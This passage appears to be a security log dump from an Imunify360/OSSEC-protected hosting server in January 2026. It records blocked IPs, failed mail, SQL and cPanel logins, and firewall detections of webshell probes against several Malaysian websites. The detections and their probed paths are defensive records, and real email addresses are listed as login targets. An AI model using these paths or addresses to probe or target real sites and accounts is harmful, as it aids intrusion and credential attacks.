IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.156.93.206
country_id: 1835841
description:
Jan 22 02:17:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.156.93.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-01-22 02:17:19 dovecot_login authenticator failed for H=([218.156.93.206]) [218.156.93.206]:41738: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 192.34.62.15
country_id: 6252001
description:
2026-01-22  2:18:55 502725 [Warning] Aborted connection 502725 to db: 'unconnected' user: 'unauthenticated' host: '192.34.62.15' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 162.243.164.145
country_id: 6252001
description:
2026-01-22  2:18:54 502719 [Warning] Aborted connection 502719 to db: 'unconnected' user: 'unauthenticated' host: '162.243.164.145' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.233.26.131
country_id: 3932488
description:
2026-01-22 02:18:10 H=([181.233.26.131]) [181.233.26.131]:44005 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.169.231
country_id: 3469034
description:
Jan 22 02:18:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.169.231 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 159.89.84.190
country_id: 6252001
description:
2026-01-22  2:18:55 502724 [Warning] Aborted connection 502724 to db: 'unconnected' user: 'unauthenticated' host: '159.89.84.190' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.169.231
country_id: 3469034
description:
Jan 22 02:19:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.169.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.41
country_id: 3175395
description:
Jan 22 02:19:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.233.26.131
country_id: 3932488
description:
2026-01-22 02:19:12 H=([181.233.26.131]) [181.233.26.131]:44348 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.146
country_id: 798544
description:
Jan 22 02:19:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.233.26.131
country_id: 3932488
description:
2026-01-22 02:20:35 H=([181.233.26.131]) [181.233.26.131]:44569 F=<jesslim@imax.com.my> rejected RCPT <jesslim@imax.com.my>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.83.111.122
country_id: 2245662
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/psr/simple-cache/LICENSE.md HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 02:27:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.97.234.36
country_id: 3625428
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/Tests/RequestStackTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/osl.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.202.103.179
country_id: 1269750
domain: urban.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:40393.urban.my||ServerName:urban.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8d7df5811958976c1796e27a4b4a67e6e7ff7e03||Title:0x88943e76||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.244.159.25
country_id: 2464461
description:
2026-01-22 02:30:13 H=([197.244.159.25]) [197.244.159.25]:37368 F=<info@oxbold.com> rejected RCPT <info@oxbold.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.244.159.25
country_id: 2464461
description:
2026-01-22 02:30:57 H=([197.244.159.25]) [197.244.159.25]:37734 F=<info@oxbold.com> rejected RCPT <info@oxbold.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.250.102.115
country_id: 3469034
description:
Jan 22 02:31:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.250.102.115 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 206.168.34.209
country_id: 6252001
description:
Jan 22 02:31:10 sv3 pure-ftpd[3613841]: (?@206.168.34.209) [INFO] New connection from 206.168.34.209


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.244.159.25
country_id: 2464461
description:
2026-01-22 02:32:19 H=([197.244.159.25]) [197.244.159.25]:63921 F=<info@oxbold.com> rejected RCPT <info@oxbold.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 02:32:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 22 02:34:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.176.4
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=49441516689261 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.94.75.139
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-37.23.94.75.139||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.113.77
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=63&page=4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 02:40:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.124.30.196
country_id: 2245662
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/mockery/mockery/docs/reference/expectations.rst HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.240.44.121
country_id: 798544
description:
Jan 22 02:44:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.240.44.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.234
country_id: 2510769
description:
Jan 22 02:45:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.234 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.237.180
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=62&page=5 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.95.239.115
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-47.23.95.239.115||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 02:50:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.191.224.224
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=44 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 02:54:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.140.123.251
country_id: 3469034
description:
Jan 22 02:59:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.140.123.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.200
country_id: 3469034
description:
Jan 22 02:59:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.200
country_id: 3469034
description:
Jan 22 02:59:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 03:01:11 H=([45.144.212.242]) [45.144.212.242]:52415 F=<no_reply@admin.com> rejected RCPT <yuki@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 03:03:17 H=([45.144.212.242]) [45.144.212.242]:53823 F=<no_reply@admin.com> rejected RCPT <zainuddin@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 03:04:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.66.73
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=4&sub=3 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.86.216
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=775548 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.63.87
country_id: 1814991
description:
Jan 22 03:07:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.63.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.63.87
country_id: 1814991
description:
2026-01-22 03:07:16 dovecot_login authenticator failed for H=([111.26.63.87]) [111.26.63.87]:44502: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.170.13.15
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/video.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.155
country_id: 2750405
description:
2026-01-22  3:13:32 504639 [Warning] Aborted connection 504639 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.155' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 22 03:13:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.155
country_id: 2750405
description:
2026-01-22  3:15:22 504746 [Warning] Aborted connection 504746 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.155' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.82
country_id: 2510769
description:
Jan 22 03:15:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.12
country_id: 732800
description:
Jan 22 03:15:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 03:16:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.82
country_id: 2510769
description:
Jan 22 03:16:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.82 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.155
country_id: 2750405
description:
2026-01-22  3:16:42 504798 [Warning] Aborted connection 504798 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.155' (This connection closed normally without authentication)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 194.110.247.102
country_id: 617790
domain: www.feliogroup.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.36 (KHTML, like Gecko) HeadlessChrome/92.0.4515.107 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.243.13
country_id: 2510769
description:
Jan 22 03:18:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.243.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.120.233
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=74351515570613 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.196.196
country_id: 3469034
description:
Jan 22 03:21:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.196.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.131
country_id: 3865483
description:
Jan 22 03:21:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.131
country_id: 3865483
description:
Jan 22 03:22:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.39.197
country_id: 3077311
description:
2026-01-22 03:22:31 dovecot_plain authenticator failed for H=([10.9.18.41]) [212.102.39.197]:18936: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.79.122
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:03-22.92.71.79.122||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.128.32
country_id: 3469034
description:
Jan 22 03:22:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.128.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.128.32
country_id: 3469034
description:
Jan 22 03:22:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.128.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.39.197
country_id: 3077311
description:
2026-01-22 03:22:58 dovecot_login authenticator failed for H=([10.9.18.41]) [212.102.39.197]:52211: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 03:23:28 H=([45.144.212.242]) [45.144.212.242]:56013 F=<no_reply@admin.com> rejected RCPT <enquiry@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.153.42
country_id: 1733045
description:
Jan 22 03:24:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.153.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.42
country_id: 1733045
description:
2026-01-22 03:24:43 dovecot_login authenticator failed for H=([49.124.153.42]) [49.124.153.42]:41862: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 176.123.1.159
country_id: 617790
domain: pftfood.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x46_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/133.0.6943.16 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 03:26:15 H=([45.144.212.242]) [45.144.212.242]:51127 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.65.214
country_id: 3469034
description:
Jan 22 03:27:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.65.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.117
country_id: 3175395
description:
Jan 22 03:27:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 03:27:46 H=([45.144.212.242]) [45.144.212.242]:56176 F=<no_reply@admin.com> rejected RCPT <info@mkmetal.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.183.82.70
country_id: 2017370
description:
Jan 22 03:28:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.183.82.70 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 167.94.138.119
country_id: 6252001
description:
Jan 22 03:30:44 sv3 pure-ftpd[3652289]: (?@167.94.138.119) [INFO] New connection from 167.94.138.119


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.68.30.136
country_id: 1269750
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=49 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.10
country_id: 3469034
description:
Jan 22 03:34:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.10 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.0.168.230
country_id: 1269750
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/products/officechair/pico/pico.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 22 03:39:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.115.172.243
country_id: 3923057
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/fzaninotto/faker/test/test.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.172.165.150
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=308206 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.231.91.71
country_id: 3469034
description:
Jan 22 03:46:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.231.91.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.98
country_id: 798544
description:
Jan 22 03:49:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.98 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/demos/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.192
country_id: 3469034
description:
Jan 22 03:53:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.192 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.29.6.193
country_id: 3439705
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/evorezt.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.214.234.27
country_id: 1269750
description:
[2026-01-22 03:58:52 +0800] info [whostmgrd] 103.214.234.27 - mschemic "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.185
country_id: 3865483
description:
Jan 22 03:58:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.185 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/product.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.179.189.200
country_id: 3469034
description:
Jan 22 03:59:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.179.189.200 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 04:01:22 H=([45.144.212.242]) [45.144.212.242]:61625 F=<no_reply@admin.com> rejected RCPT <tst@tst-ma.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.83.206.74
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=80711514876814 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.238
country_id: 3469034
description:
Jan 22 04:04:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.240.44.196
country_id: 798544
description:
